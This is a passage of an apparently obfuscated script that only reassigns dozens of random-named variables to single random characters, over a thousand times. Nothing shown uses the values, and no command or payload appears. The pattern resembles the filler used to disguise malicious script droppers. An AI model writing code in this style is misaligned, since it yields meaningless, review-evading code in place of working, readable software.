174	fqggm = "c";
175	fqggm = "T";
176	fqggm = "D";
177	fqggm = "Y";
178	fqggm = "Y";
179	fqggm = "t";
180	fqggm = "j";
181	fqggm = "X";
182	fqggm = "q";
183	fqggm = "O";
184	fqggm = "L";
185	jbjpnchy = "U";
186	jbjpnchy = "t";
187	jbjpnchy = "m";
188	jbjpnchy = "u";
189	jbjpnchy = "N";
190	jbjpnchy = "e";
191	jbjpnchy = "i";
192	jbjpnchy = "T";
193	jbjpnchy = "l";
194	jbjpnchy = "r";
195	jbjpnchy = "r";
196	jbjpnchy = "Q";
197	jbjpnchy = "O";
198	jbjpnchy = "z";
199	jbjpnchy = "L";
200	jbjpnchy = "o";
201	lwnhvy = "m";
202	lwnhvy = "W";
203	lwnhvy = "X";
204	lwnhvy = "S";
205	lwnhvy = "V";
206	lwnhvy = "T";
207	lwnhvy = "b";
208	lwnhvy = "g";
209	lwnhvy = "P";
210	lwnhvy = "k";
211	lwnhvy = "a";
212	lwnhvy = "H";
213	lwnhvy = "V";
214	lwnhvy = "S";
215	lwnhvy = "Q";
216	lwnhvy = "x";
217	lwnhvy = "O";
218	lwnhvy = "b";
219	lwnhvy = "K";
220	lwnhvy = "P";
221	lwnhvy = "H";
222	lwnhvy = "M";
223	lwnhvy = "L";
224	lwnhvy = "h";
225	lwnhvy = "I";
226	lwnhvy = "j";
227	lwnhvy = "N";
228	lwnhvy = "h";
229	lwnhvy = "p";
230	lwnhvy = "Y";
231	lwnhvy = "i";
232	lwnhvy = "K";
233	lwnhvy = "a";
234	lwnhvy = "H";
235	lwnhvy = "b";
236	lwnhvy = "H";
237	lwnhvy = "W";
238	lwnhvy = "J";
239	lwnhvy = "D";
240	lwnhvy = "e";
241	lwnhvy = "w";
242	lwnhvy = "B";
243	lwnhvy = "o";
244	lwnhvy = "w";
245	lwnhvy = "i";
246	yxjjs = "n";
247	yxjjs = "M";
248	yxjjs = "U";
249	yxjjs = "D";
250	yxjjs = "A";
251	yxjjs = "m";
252	yxjjs = "b";
253	yxjjs = "I";
254	yxjjs = "I";
255	yxjjs = "B";
256	yxjjs = "b";
257	yxjjs = "r";
258	yxjjs = "f";
259	yxjjs = "F";
260	yxjjs = "h";
261	yxjjs = "K";
262	yxjjs = "O";
263	yxjjs = "A";
264	yxjjs = "r";
265	yxjjs = "p";
266	yxjjs = "C";
267	yxjjs = "b";
268	yxjjs = "f";
269	yxjjs = "o";
270	yxjjs = "s";
271	yxjjs = "g";
272	yxjjs = "w";
273	yxjjs = "W";
274	yxjjs = "a";
275	yxjjs = "H";
276	yxjjs = "W";
277	xlest = "v";
278	xlest = "J";
279	xlest = "c";
280	xlest = "b";
281	xlest = "G";
282	xlest = "a";
283	xlest = "R";
284	bqssvbzu = "d";
285	bqssvbzu = "P";
286	bqssvbzu = "U";
287	bqssvbzu = "e";
288	bqssvbzu = "K";
289	bqssvbzu = "e";
290	bqssvbzu = "o";
291	bqssvbzu = "U";
292	bqssvbzu = "G";
293	bqssvbzu = "G";
294	bqssvbzu = "I";
295	bqssvbzu = "o";
296	bqssvbzu = "b";
297	bqssvbzu = "I";
298	bqssvbzu = "z";
299	bqssvbzu = "C";
300	bqssvbzu = "Y";
301	bqssvbzu = "w";
302	bqssvbzu = "q";
303	bqssvbzu = "l";
304	bqssvbzu = "O";
305	bqssvbzu = "L";
306	bqssvbzu = "f";
307	bqssvbzu = "O";
308	bqssvbzu = "B";
309	bqssvbzu = "S";
310	bqssvbzu = "j";
311	bqssvbzu = "D";
312	bqssvbzu = "R";
313	bqssvbzu = "n";
314	bqssvbzu = "z";
315	bqssvbzu = "T";
316	bqssvbzu = "w";
317	bqssvbzu = "s";
318	bqssvbzu = "p";
319	bqssvbzu = "o";
320	bqssvbzu = "r";
321	bqssvbzu = "h";
322	bqssvbzu = "v";
323	bqssvbzu = "Z";
324	bqssvbzu = "u";
325	aqvvr = "l";
326	aqvvr = "G";
327	aqvvr = "X";
328	aqvvr = "W";
329	aqvvr = "a";
330	aqvvr = "u";
331	aqvvr = "A";
332	aqvvr = "Z";
333	aqvvr = "f";
334	aqvvr = "f";
335	aqvvr = "U";
336	aqvvr = "w";
337	aqvvr = "E";
338	aqvvr = "j";
339	aqvvr = "b";
340	aqvvr = "k";
341	aqvvr = "T";
342	aqvvr = "c";
343	aqvvr = "j";
344	aqvvr = "y";
345	aqvvr = "O";
346	aqvvr = "k";
347	aqvvr = "S";
348	aqvvr = "N";
349	aqvvr = "c";
350	aqvvr = "b";
351	aqvvr = "E";
352	aqvvr = "o";
353	aqvvr = "t";
354	aqvvr = "m";
355	aqvvr = "x";
356	aqvvr = "Q";
357	aqvvr = "f";
358	aqvvr = "B";
359	aqvvr = "t";
360	aqvvr = "x";
361	egafqknh = "t";
362	egafqknh = "I";
363	egafqknh = "I";
364	egafqknh = "k";
365	egafqknh = "O";
366	egafqknh = "l";
367	egafqknh = "T";
368	egafqknh = "Q";
369	egafqknh = "Q";
370	egafqknh = "C";
371	egafqknh = "z";
372	egafqknh = "T";
373	egafqknh = "q";
374	egafqknh = "u";
375	egafqknh = "Z";
376	egafqknh = "G";
377	egafqknh = "M";
378	egafqknh = "f";
379	egafqknh = "e";
380	bxksdwgwo = "K";
381	bxksdwgwo = "j";
382	bxksdwgwo = "f";
383	bxksdwgwo = "E";
384	bxksdwgwo = "R";
385	bxksdwgwo = "v";
386	bxksdwgwo = "I";
387	bxksdwgwo = "q";
388	bxksdwgwo = "O";
389	bxksdwgwo = "N";
390	bxksdwgwo = "q";
391	bxksdwgwo = "e";
392	bxksdwgwo = "l";
393	bxksdwgwo = "v";
394	bxksdwgwo = "F";
395	bxksdwgwo = "j";
396	bxksdwgwo = "i";
397	bxksdwgwo = "r";
398	bxksdwgwo = "d";
399	bxksdwgwo = "R";
400	bxksdwgwo = "R";
401	bxksdwgwo = "X";
402	bxksdwgwo = "F";
403	bxksdwgwo = "d";
404	bxksdwgwo = "F";
405	bxksdwgwo = "w";
406	bxksdwgwo = "y";
407	bxksdwgwo = "X";
408	bxksdwgwo = "M";
409	bxksdwgwo = "g";
410	bxksdwgwo = "H";
411	bxksdwgwo = "h";
412	bxksdwgwo = "o";
413	bxksdwgwo = "J";
414	bxksdwgwo = "X";
415	bxksdwgwo = "n";
416	bxksdwgwo = "O";
417	bxksdwgwo = "O";
418	bxksdwgwo = "o";
419	bxksdwgwo = "W";
420	bxksdwgwo = "r";
421	bxksdwgwo = "M";
422	bxksdwgwo = "@";
423	ugzbbr = "M";
424	ugzbbr = "o";
425	ugzbbr = "i";
426	ugzbbr = "C";
427	ugzbbr = "S";
428	ugzbbr = "l";
429	ugzbbr = "V";
430	ugzbbr = "N";
431	ugzbbr = "k";
432	ugzbbr = "B";
433	ugzbbr = "g";
434	ugzbbr = "s";
435	ugzbbr = "K";
436	ugzbbr = "R";
437	ugzbbr = "U";
438	ugzbbr = "U";
439	ugzbbr = "P";
440	ugzbbr = "w";
441	ugzbbr = "u";
442	ugzbbr = "I";
443	ugzbbr = "K";
444	ugzbbr = "A";
445	ugzbbr = "M";
446	ugzbbr = "L";
447	ugzbbr = "K";
448	ugzbbr = "K";
449	ugzbbr = "t";
450	ugzbbr = "g";
451	ugzbbr = "G";
452	ugzbbr = "F";
453	ugzbbr = "R";
454	ugzbbr = "Y";
455	ugzbbr = "Z";
456	ugzbbr = "l";
457	ugzbbr = "b";
458	ugzbbr = "n";
459	ugzbbr = "G";
460	ugzbbr = "L";
461	ugzbbr = "g";
462	ugzbbr = "m";
463	ugzbbr = "Q";
464	ugzbbr = "L";
465	ugzbbr = "Q";
466	ugzbbr = "I";
467	ugzbbr = "-";
468	mjxmvdfv = "S";
469	mjxmvdfv = "f";
470	mjxmvdfv = "z";
471	mjxmvdfv = "f";
472	mjxmvdfv = "s";
473	mjxmvdfv = "H";
474	mjxmvdfv = "T";
475	mjxmvdfv = "G";
476	mjxmvdfv = "q";
477	mjxmvdfv = "E";
478	mjxmvdfv = "e";
479	mjxmvdfv = "E";
480	mjxmvdfv = "v";
481	mjxmvdfv = "R";
482	mjxmvdfv = "N";
483	mjxmvdfv = "U";
484	mjxmvdfv = "q";
485	mjxmvdfv = "h";
486	mjxmvdfv = "t";
487	mjxmvdfv = "n";
488	mjxmvdfv = "z";
489	mjxmvdfv = "G";
490	mjxmvdfv = "k";
491	mjxmvdfv = "i";
492	mjxmvdfv = "u";
493	mjxmvdfv = "z";
494	mjxmvdfv = "s";
495	mjxmvdfv = "l";
496	mjxmvdfv = "i";
497	mjxmvdfv = "H";
498	mjxmvdfv = "L";
499	mjxmvdfv = "L";
500	mjxmvdfv = "b";
501	mjxmvdfv = "w";
502	mjxmvdfv = "3";
503	hsyqqpgq = "k";
504	hsyqqpgq = "L";
505	hsyqqpgq = "g";
506	hsyqqpgq = "y";
507	hsyqqpgq = "a";
508	hsyqqpgq = "p";
509	hsyqqpgq = "C";
510	hsyqqpgq = "A";
511	hsyqqpgq = "Z";
512	hsyqqpgq = "u";
513	hsyqqpgq = "l";
514	hsyqqpgq = "B";
515	hsyqqpgq = "O";
516	hsyqqpgq = "O";
517	hsyqqpgq = "Y";
518	hsyqqpgq = "g";
519	hsyqqpgq = "F";
520	hsyqqpgq = "T";
521	hsyqqpgq = "S";
522	hsyqqpgq = "n";
523	hsyqqpgq = "X";
524	hsyqqpgq = "p";
525	hsyqqpgq = "x";
526	hsyqqpgq = "Z";
527	hsyqqpgq = "Q";
528	hsyqqpgq = "a";
529	hsyqqpgq = "q";
530	hsyqqpgq = "F";
531	hsyqqpgq = "d";
532	hsyqqpgq = "s";
533	hsyqqpgq = "b";
534	hsyqqpgq = "T";
535	hsyqqpgq = "S";
536	hsyqqpgq = "N";
537	hsyqqpgq = "K";
538	hsyqqpgq = "f";
539	hsyqqpgq = "U";
540	hsyqqpgq = "C";
541	hsyqqpgq = "9";
542	scvpj = "a";
543	scvpj = "x";
544	scvpj = "g";
545	scvpj = "X";
546	scvpj = "f";
547	scvpj = "e";
548	scvpj = "n";
549	scvpj = "s";
550	scvpj = "m";
551	scvpj = "_";
552	afzhxxr = "Z";
553	afzhxxr = "l";
554	afzhxxr = "Y";
555	afzhxxr = "E";
556	afzhxxr = "Y";
557	afzhxxr = "i";
558	afzhxxr = "M";
559	afzhxxr = "Q";
560	afzhxxr = "X";
561	afzhxxr = "S";
562	afzhxxr = "z";
563	afzhxxr = "d";
564	afzhxxr = "E";
565	afzhxxr = "N";
566	afzhxxr = "A";
567	afzhxxr = "v";
568	afzhxxr = "S";
569	afzhxxr = "i";
570	afzhxxr = "a";
571	afzhxxr = "J";
572	afzhxxr = "d";
573	afzhxxr = "s";
574	afzhxxr = "l";
575	afzhxxr = "u";
576	afzhxxr = "B";
577	afzhxxr = "t";
578	afzhxxr = "P";
579	afzhxxr = "I";
580	afzhxxr = "e";
581	afzhxxr = "R";
582	afzhxxr = "G";
583	afzhxxr = "U";
584	afzhxxr = "Z";
585	afzhxxr = "F";
586	afzhxxr = "z";
587	afzhxxr = "a";
588	afzhxxr = "W";
589	afzhxxr = "M";
590	afzhxxr = "i";
591	afzhxxr = "V";
592	afzhxxr = "D";
593	afzhxxr = "j";
594	afzhxxr = "d";
595	afzhxxr = "m";
596	aehdbmo = "E";
597	aehdbmo = "e";
598	aehdbmo = "Y";
599	aehdbmo = "w";
600	aehdbmo = "e";
601	aehdbmo = "k";
602	aehdbmo = "c";
603	aehdbmo = "V";
604	aehdbmo = "R";
605	aehdbmo = "X";
606	aehdbmo = "Y";
607	aehdbmo = "H";
608	aehdbmo = "U";
609	aehdbmo = "M";
610	aehdbmo = "C";
611	aehdbmo = "n";
612	aehdbmo = "K";
613	aehdbmo = "F";
614	aehdbmo = "y";
615	aehdbmo = "q";
616	aehdbmo = "W";
617	aehdbmo = "Q";
618	aehdbmo = "G";
619	aehdbmo = "i";
620	aehdbmo = "e";
621	aehdbmo = "Y";
622	aehdbmo = "L";
623	aehdbmo = "I";
624	aehdbmo = "W";
625	aehdbmo = "c";
626	aehdbmo = "a";
627	aehdbmo = "y";
628	aehdbmo = "t";
629	aehdbmo = "u";
630	aehdbmo = "q";
631	aehdbmo = "l";
632	aehdbmo = "E";
633	aehdbmo = "s";
634	aehdbmo = "Z";
635	aehdbmo = "I";
636	aehdbmo = "/";
637	sngtl = "O";
638	sngtl = "U";
639	sngtl = "H";
640	sngtl = "F";
641	sngtl = "r";
642	sngtl = "s";
643	sngtl = "s";
644	sngtl = "f";
645	sngtl = "F";
646	sngtl = "w";
647	sngtl = "K";
648	rcxqvmiox = "Q";
649	rcxqvmiox = "e";
650	rcxqvmiox = "X";
651	rcxqvmiox = "g";
652	rcxqvmiox = "y";
653	rcxqvmiox = "m";
654	rcxqvmiox = "N";
655	rcxqvmiox = "R";
656	rcxqvmiox = "t";
657	rcxqvmiox = "G";
658	rcxqvmiox = "M";
659	rcxqvmiox = "Y";
660	rcxqvmiox = "w";
661	rcxqvmiox = "l";
662	rcxqvmiox = "n";
663	rcxqvmiox = "y";
664	rcxqvmiox = "b";
665	rcxqvmiox = "C";
666	rcxqvmiox = "N";
667	rcxqvmiox = "L";
668	rcxqvmiox = "o";
669	rcxqvmiox = "u";
670	rcxqvmiox = "s";
671	rcxqvmiox = "d";
672	rcxqvmiox = "O";
673	rcxqvmiox = "I";
674	rcxqvmiox = "b";
675	rcxqvmiox = "u";
676	rcxqvmiox = "Z";
677	rcxqvmiox = "U";
678	rcxqvmiox = "S";
679	rcxqvmiox = "I";
680	rcxqvmiox = "a";
681	rcxqvmiox = "s";
682	rcxqvmiox = "I";
683	rcxqvmiox = "r";
684	rcxqvmiox = "L";
685	rcxqvmiox = ".";
686	wwonl = "k";
687	wwonl = "b";
688	wwonl = "L";
689	wwonl = "b";
690	wwonl = "C";
691	wwonl = "x";
692	wwonl = "U";
693	wwonl = "a";
694	wwonl = "c";
695	wwonl = "f";
696	wwonl = "p";
697	wwonl = "z";
698	wwonl = "U";
699	wwonl = "l";
700	wwonl = "O";
701	wwonl = "A";
702	wwonl = "i";
703	wwonl = "C";
704	wwonl = "q";
705	wwonl = "%";
706	baagia = "J";
707	baagia = "T";
708	baagia = "S";
709	baagia = "6";
710	dccsyodas = "j";
711	dccsyodas = "D";
712	dccsyodas = "S";
713	dccsyodas = "q";
714	dccsyodas = "J";
715	dccsyodas = "C";
716	dccsyodas = "k";
717	dccsyodas = "t";
718	axqjyno = "p";
719	axqjyno = "F";
720	axqjyno = "L";
721	axqjyno = "w";
722	axqjyno = "d";
723	axqjyno = "T";
724	axqjyno = "x";
725	axqjyno = "c";
726	axqjyno = "W";
727	axqjyno = "J";
728	axqjyno = "t";
729	axqjyno = "F";
730	axqjyno = "p";
731	axqjyno = "M";
732	axqjyno = "d";
733	axqjyno = "G";
734	axqjyno = "Q";
735	axqjyno = "p";
736	axqjyno = "f";
737	axqjyno = "s";
738	axqjyno = "U";
739	otayrtu = "s";
740	otayrtu = "M";
741	otayrtu = "u";
742	otayrtu = "Z";
743	otayrtu = "G";
744	otayrtu = "r";
745	otayrtu = "e";
746	otayrtu = "J";
747	otayrtu = "e";
748	otayrtu = "y";
749	otayrtu = "f";
750	otayrtu = "Z";
751	otayrtu = "j";
752	otayrtu = "M";
753	otayrtu = "U";
754	otayrtu = "J";
755	otayrtu = "j";
756	otayrtu = "y";
757	otayrtu = "T";
758	otayrtu = "Q";
759	otayrtu = "t";
760	otayrtu = "c";
761	otayrtu = "g";
762	otayrtu = "b";
763	otayrtu = "K";
764	otayrtu = "I";
765	otayrtu = "J";
766	otayrtu = "s";
767	otayrtu = "H";
768	otayrtu = "O";
769	otayrtu = "P";
770	otayrtu = "y";
771	otayrtu = "o";
772	otayrtu = "M";
773	otayrtu = "y";
774	otayrtu = "g";
775	wiydo = "b";
776	wiydo = "q";
777	wiydo = "G";
778	wiydo = "G";
779	wiydo = "T";
780	wiydo = "r";
781	wiydo = "S";
782	wiydo = "q";
783	wiydo = "F";
784	wiydo = "w";
785	wiydo = "H";
786	wiydo = "r";
787	wiydo = "c";
788	wiydo = "C";
789	wiydo = "u";
790	wiydo = "G";
791	wiydo = "H";
792	wiydo = "y";
793	wiydo = "E";
794	wiydo = "u";
795	wiydo = "B";
796	wiydo = "b";
797	wiydo = "s";
798	hfeyqr = "C";
799	hfeyqr = "B";
800	hfeyqr = "v";
801	hfeyqr = "l";
802	hfeyqr = "c";
803	hfeyqr = "m";
804	hfeyqr = "N";
805	hfeyqr = "I";
806	hfeyqr = "j";
807	hfeyqr = "F";
808	hfeyqr = "L";
809	hfeyqr = "e";
810	hfeyqr = "B";
811	hfeyqr = "m";
812	hfeyqr = "f";
813	hfeyqr = "w";
814	hfeyqr = "B";
815	hfeyqr = "R";
816	hfeyqr = "H";
817	hfeyqr = "u";
818	hfeyqr = "Y";
819	hfeyqr = "G";
820	hfeyqr = "d";
821	hfeyqr = "O";
822	hfeyqr = "e";
823	hfeyqr = "t";
824	hfeyqr = "s";
825	hfeyqr = "L";
826	hfeyqr = "U";
827	hfeyqr = "r";
828	hfeyqr = "j";
829	hfeyqr = "t";
830	hfeyqr = "s";
831	hfeyqr = "R";
832	hfeyqr = "u";
833	hfeyqr = "W";
834	hfeyqr = "S";
835	hfeyqr = "S";
836	hfeyqr = "u";
837	hfeyqr = "M";
838	hfeyqr = "F";
839	hfeyqr = "o";
840	hfeyqr = "F";
841	ztufmust = "w";
842	ztufmust = "J";
843	ztufmust = "F";
844	ztufmust = "E";
845	ztufmust = "N";
846	ztufmust = "G";
847	ztufmust = "O";
848	ztufmust = "S";
849	ztufmust = "Y";
850	ztufmust = "l";
851	ztufmust = "Q";
852	ztufmust = "K";
853	ztufmust = "r";
854	ztufmust = "u";
855	ztufmust = "x";
856	ztufmust = "z";
857	ztufmust = "l";
858	ztufmust = "S";
859	ztufmust = "J";
860	ztufmust = "p";
861	ztufmust = "Y";
862	ztufmust = "D";
863	ztufmust = "p";
864	ztufmust = "n";
865	ztufmust = "G";
866	ztufmust = "P";
867	ztufmust = "b";
868	ztufmust = "z";
869	ztufmust = "Q";
870	ztufmust = "f";
871	ztufmust = "O";
872	ztufmust = "v";
873	ztufmust = "K";
874	ztufmust = "w";
875	ztufmust = "t";
876	ztufmust = "t";
877	ztufmust = "d";
878	ztufmust = "K";
879	ztufmust = "d";
880	ztufmust = "J";
881	ztufmust = "I";
882	xqclfvfbl = "J";
883	xqclfvfbl = "E";
884	xqclfvfbl = "A";
885	xqclfvfbl = "u";
886	xqclfvfbl = "Q";
887	xqclfvfbl = "T";
888	xqclfvfbl = "t";
889	xqclfvfbl = "F";
890	xqclfvfbl = "u";
891	xqclfvfbl = "n";
892	xqclfvfbl = "g";
893	xqclfvfbl = "T";
894	xqclfvfbl = "l";
895	xqclfvfbl = "g";
896	xqclfvfbl = "i";
897	xqclfvfbl = "T";
898	xqclfvfbl = "x";
899	xqclfvfbl = "r";
900	xqclfvfbl = "m";
901	xqclfvfbl = "c";
902	xqclfvfbl = "M";
903	xqclfvfbl = "T";
904	xqclfvfbl = "r";
905	xqclfvfbl = "g";
906	xqclfvfbl = "u";
907	xqclfvfbl = "V";
908	xqclfvfbl = "S";
909	xqclfvfbl = "x";
910	xqclfvfbl = "e";
911	xqclfvfbl = "g";
912	xqclfvfbl = "l";
913	xqclfvfbl = "f";
914	xqclfvfbl = "B";
915	xqclfvfbl = "l";
916	xqclfvfbl = "X";
917	xqclfvfbl = "i";
918	xqclfvfbl = "B";
919	xqclfvfbl = "J";
920	xqclfvfbl = "e";
921	xqclfvfbl = "f";
922	rnqqvb = "s";
923	rnqqvb = "Y";
924	rnqqvb = "C";
925	rnqqvb = "N";
926	rnqqvb = "P";
927	rnqqvb = "v";
928	rnqqvb = "t";
929	rnqqvb = "o";
930	rnqqvb = "D";
931	rnqqvb = "j";
932	rnqqvb = "R";
933	rnqqvb = "h";
934	rnqqvb = "y";
935	rnqqvb = "G";
936	rnqqvb = "i";
937	rnqqvb = "P";
938	rnqqvb = "f";
939	rnqqvb = "e";
940	rnqqvb = "Q";
941	rnqqvb = "H";
942	rnqqvb = "k";
943	rnqqvb = "F";
944	rnqqvb = "V";
945	rnqqvb = "G";
946	rnqqvb = "P";
947	rnqqvb = "v";
948	rnqqvb = "Y";
949	rnqqvb = "C";
950	rnqqvb = "k";
951	rnqqvb = "k";
952	rnqqvb = "C";
953	rnqqvb = "b";
954	rnqqvb = "w";
955	rnqqvb = "z";
956	rnqqvb = "s";
957	rnqqvb = "R";
958	rnqqvb = "q";
959	rnqqvb = "x";
960	rnqqvb = "l";
961	rnqqvb = "D";
962	rnqqvb = "r";
963	rnqqvb = "x";
964	rnqqvb = "n";
965	rnqqvb = "r";
966	uiurvqor = "S";
967	biddhf = "c";
968	biddhf = "w";
969	biddhf = "Q";
970	biddhf = "j";
971	biddhf = "D";
972	biddhf = "X";
973	biddhf = "T";
974	biddhf = "r";
975	biddhf = "s";
976	biddhf = "S";
977	biddhf = "e";
978	biddhf = "b";
979	biddhf = "V";
980	biddhf = "s";
981	biddhf = "d";
982	biddhf = "R";
983	biddhf = "C";
984	biddhf = "J";
985	biddhf = "w";
986	biddhf = "o";
987	biddhf = "m";
988	biddhf = "X";
989	biddhf = "S";
990	biddhf = "E";
991	ddqrluffw = "P";
992	ddqrluffw = "s";
993	ddqrluffw = "O";
994	ddqrluffw = "J";
995	ddqrluffw = "z";
996	ddqrluffw = "w";
997	ddqrluffw = "Q";
998	ddqrluffw = "M";
999	ddqrluffw = "W";
1000	ddqrluffw = "O";
1001	ddqrluffw = "s";
1002	ddqrluffw = "a";
1003	ddqrluffw = "l";
1004	ddqrluffw = "g";
1005	ddqrluffw = "L";
1006	ddqrluffw = "C";
1007	ddqrluffw = "N";
1008	ddqrluffw = "O";
1009	ddqrluffw = "j";
1010	ddqrluffw = "j";
1011	ddqrluffw = "I";
1012	ddqrluffw = "P";
1013	ddqrluffw = "y";
1014	ddqrluffw = "M";
1015	ddqrluffw = "N";
1016	ddqrluffw = "S";
1017	ddqrluffw = "A";
1018	ddqrluffw = "k";
1019	twjgsr = "U";
1020	twjgsr = "e";
1021	twjgsr = "C";
1022	twjgsr = "B";
1023	twjgsr = "i";
1024	twjgsr = "V";
1025	twjgsr = "I";
1026	twjgsr = "L";
1027	twjgsr = "k";
1028	twjgsr = "Y";
1029	twjgsr = "Z";
1030	twjgsr = "C";
1031	twjgsr = "U";
1032	twjgsr = "Q";
1033	twjgsr = "o";
1034	twjgsr = "N";
1035	twjgsr = "G";
1036	twjgsr = "u";
1037	twjgsr = "r";
1038	twjgsr = "F";
1039	twjgsr = "A";
1040	twjgsr = "P";
1041	twjgsr = "v";
1042	twjgsr = "t";
1043	twjgsr = "w";
1044	twjgsr = "X";
1045	twjgsr = "w";
1046	twjgsr = "P";
1047	twjgsr = "j";
1048	twjgsr = "M";
1049	twjgsr = "Y";
1050	twjgsr = "t";
1051	twjgsr = "c";
1052	twjgsr = "l";
1053	twjgsr = "R";
1054	twjgsr = "O";
1055	twjgsr = "G";
1056	twjgsr = "v";
1057	twjgsr = "J";
1058	twjgsr = "b";
1059	twjgsr = "I";
1060	twjgsr = "L";
1061	twjgsr = "f";
1062	twjgsr = "a";
1063	zuoduujjf = "v";
1064	zuoduujjf = "U";
1065	zuoduujjf = "j";
1066	zuoduujjf = "X";
1067	zuoduujjf = "E";
1068	zuoduujjf = "t";
1069	zuoduujjf = "k";
1070	zuoduujjf = "R";
1071	zuoduujjf = "l";
1072	zuoduujjf = "P";
1073	zuoduujjf = "x";
1074	zuoduujjf = "I";
1075	zuoduujjf = "d";
1076	zuoduujjf = "c";
1077	zuoduujjf = "o";
1078	zuoduujjf = "E";
1079	zuoduujjf = "W";
1080	zuoduujjf = "L";
1081	zuoduujjf = "f";
1082	zuoduujjf = "Z";
1083	zuoduujjf = "r";
1084	zuoduujjf = "R";
1085	zuoduujjf = "K";
1086	zuoduujjf = "h";
1087	zuoduujjf = "i";
1088	zuoduujjf = "q";
1089	zuoduujjf = "S";
1090	zuoduujjf = "D";
1091	zuoduujjf = "s";
1092	zuoduujjf = "M";
1093	zuoduujjf = "p";
1094	zuoduujjf = "Q";
1095	zuoduujjf = "q";
1096	zuoduujjf = "P";
1097	culdvn = "E";
1098	culdvn = "q";
1099	culdvn = "M";
1100	culdvn = "H";
1101	culdvn = "D";
1102	culdvn = "c";
1103	culdvn = "p";
1104	culdvn = "G";
1105	culdvn = "x";
1106	culdvn = "u";
1107	culdvn = "J";
1108	culdvn = "Y";
1109	culdvn = "g";
1110	culdvn = "f";
1111	culdvn = "x";
1112	culdvn = "C";
1113	culdvn = "q";
1114	culdvn = "c";
1115	culdvn = "K";
1116	culdvn = "K";
1117	culdvn = "B";
1118	culdvn = "B";
1119	culdvn = "R";
1120	culdvn = "c";
1121	culdvn = "O";
1122	culdvn = "P";
1123	culdvn = "S";
1124	culdvn = "p";
1125	culdvn = "u";
1126	culdvn = "r";
1127	culdvn = "e";
1128	culdvn = "t";
1129	culdvn = "W";
1130	culdvn = "c";
1131	culdvn = "E";
1132	culdvn = "I";
1133	culdvn = "R";
1134	culdvn = "y";
1135	culdvn = "y";
1136	culdvn = "i";
1137	culdvn = "v";
1138	culdvn = "h";
1139	oxljgd = "p";
1140	oxljgd = "X";
1141	oxljgd = "X";
1142	oxljgd = "k";
1143	oxljgd = "a";
1144	oxljgd = "b";
1145	arpawolv = "u";
1146	arpawolv = "Q";
1147	arpawolv = "j";
1148	arpawolv = "z";
1149	arpawolv = "f";
1150	arpawolv = "Z";
1151	arpawolv = "n";
1152	arpawolv = "D";
1153	arpawolv = "e";
1154	arpawolv = "R";
1155	arpawolv = "S";
1156	arpawolv = "s";
1157	arpawolv = "V";
1158	arpawolv = "e";
1159	arpawolv = "x";
1160	arpawolv = "U";
1161	arpawolv = "T";
1162	arpawolv = "s";
1163	arpawolv = "u";
1164	arpawolv = "e";
1165	arpawolv = "b";
1166	arpawolv = "q";
1167	arpawolv = "b";
1168	arpawolv = "q";
1169	arpawolv = "g";
1170	arpawolv = "R";
1171	arpawolv = "p";
1172	arpawolv = "X";
1173	arpawolv = "t";
1174	arpawolv = "W";
1175	arpawolv = "K";
1176	arpawolv = "U";
1177	arpawolv = " ";
1178	lnxabpphi = "A";
1179	lnxabpphi = "o";
1180	lnxabpphi = "U";
1181	lnxabpphi = "j";
1182	nkrna = "S";
1183	nkrna = "n";
1184	nkrna = "s";
1185	nkrna = "o";
1186	nkrna = "n";
1187	nkrna = "Y";
1188	nkrna = "y";
1189	nkrna = "b";
1190	nkrna = "y";
1191	nkrna = "f";
1192	nkrna = "J";
1193	nkrna = "d";
1194	nkrna = "X";
1195	nkrna = "Y";
1196	nkrna = "i";
1197	nkrna = "V";
1198	nkrna = "O";
1199	nkrna = "r";
1200	nkrna = "q";
1201	nkrna = "u";
1202	nkrna = "E";
1203	nkrna = "Z";
1204	nkrna = "H";
1205	nkrna = "L";
1206	nkrna = "j";
1207	nkrna = "P";
1208	nkrna = "N";
1209	nkrna = "V";
1210	nkrna = "H";
1211	nkrna = "C";
1212	nkrna = "M";
1213	nkrna = "h";
1214	nkrna = "e";
1215	nkrna = "V";
1216	nkrna = "d";
1217	nkrna = "b";
1218	nkrna = "G";
1219	nkrna = "s";
1220	nkrna = "K";
1221	nkrna = "i";
1222	nkrna = "S";
1223	nkrna = "t";
1224	nkrna = "N";
1225	krjyhctxc = "g";
1226	krjyhctxc = "M";
1227	krjyhctxc = "A";
1228	krjyhctxc = "V";
1229	krjyhctxc = "R";
1230	krjyhctxc = "V";
1231	krjyhctxc = "y";
1232	krjyhctxc = "l";
1233	krjyhctxc = "z";
1234	krjyhctxc = "l";
1235	krjyhctxc = "k";
1236	krjyhctxc = "F";
1237	krjyhctxc = "B";
1238	krjyhctxc = "o";
1239	krjyhctxc = "2";
1240	obzhd = "G";
1241	obzhd = "f";
1242	obzhd = "y";
1243	obzhd = "t";
1244	obzhd = "X";
1245	obzhd = "r";
1246	obzhd = "B";
1247	obzhd = "j";
1248	obzhd = "J";
1249	obzhd = "t";
1250	obzhd = "a";
1251	obzhd = "O";
1252	seebgiw = "D";
1253	seebgiw = "Q";
1254	seebgiw = "N";
1255	seebgiw = "w";
1256	seebgiw = "g";
1257	seebgiw = "U";
1258	seebgiw = "h";
1259	seebgiw = "X";
1260	seebgiw = "T";
1261	clajc = "l";
1262	clajc = "K";
1263	clajc = "z";
1264	clajc = "u";
1265	clajc = "S";
1266	clajc = "y";
1267	clajc = "Q";
1268	clajc = "l";
1269	clajc = "E";
1270	clajc = "Y";
1271	clajc = "C";
1272	clajc = "C";
1273	clajc = "X";
1274	clajc = "p";
1275	clajc = "Y";
1276	clajc = "z";
1277	clajc = "v";
1278	clajc = "D";
1279	clajc = "d";
1280	clajc = "G";
1281	clajc = "O";
1282	clajc = "d";
1283	clajc = "C";
1284	clajc = "A";
1285	clajc = "P";
1286	clajc = "B";
1287	clajc = "W";
1288	clajc = "&";
1289	czgblgv = "t";
1290	czgblgv = "R";
1291	czgblgv = "t";
1292	czgblgv = "Y";
1293	czgblgv = "W";
1294	czgblgv = "N";
1295	czgblgv = "U";
1296	czgblgv = "R";
1297	czgblgv = "M";
1298	czgblgv = "P";
1299	czgblgv = "X";
1300	czgblgv = "L";
1301	czgblgv = "W";
1302	czgblgv = "h";
1303	czgblgv = "c";
1304	czgblgv = "X";
1305	czgblgv = "q";
1306	czgblgv = "Z";
1307	czgblgv = "X";
1308	czgblgv = "F";
1309	czgblgv = "m";
1310	czgblgv = "L";
1311	czgblgv = "c";
1312	czgblgv = "e";
1313	czgblgv = "l";
1314	czgblgv = "w";
1315	czgblgv = "m";
1316	czgblgv = "B";
1317	czgblgv = "x";
1318	czgblgv = "S";
1319	czgblgv = "X";
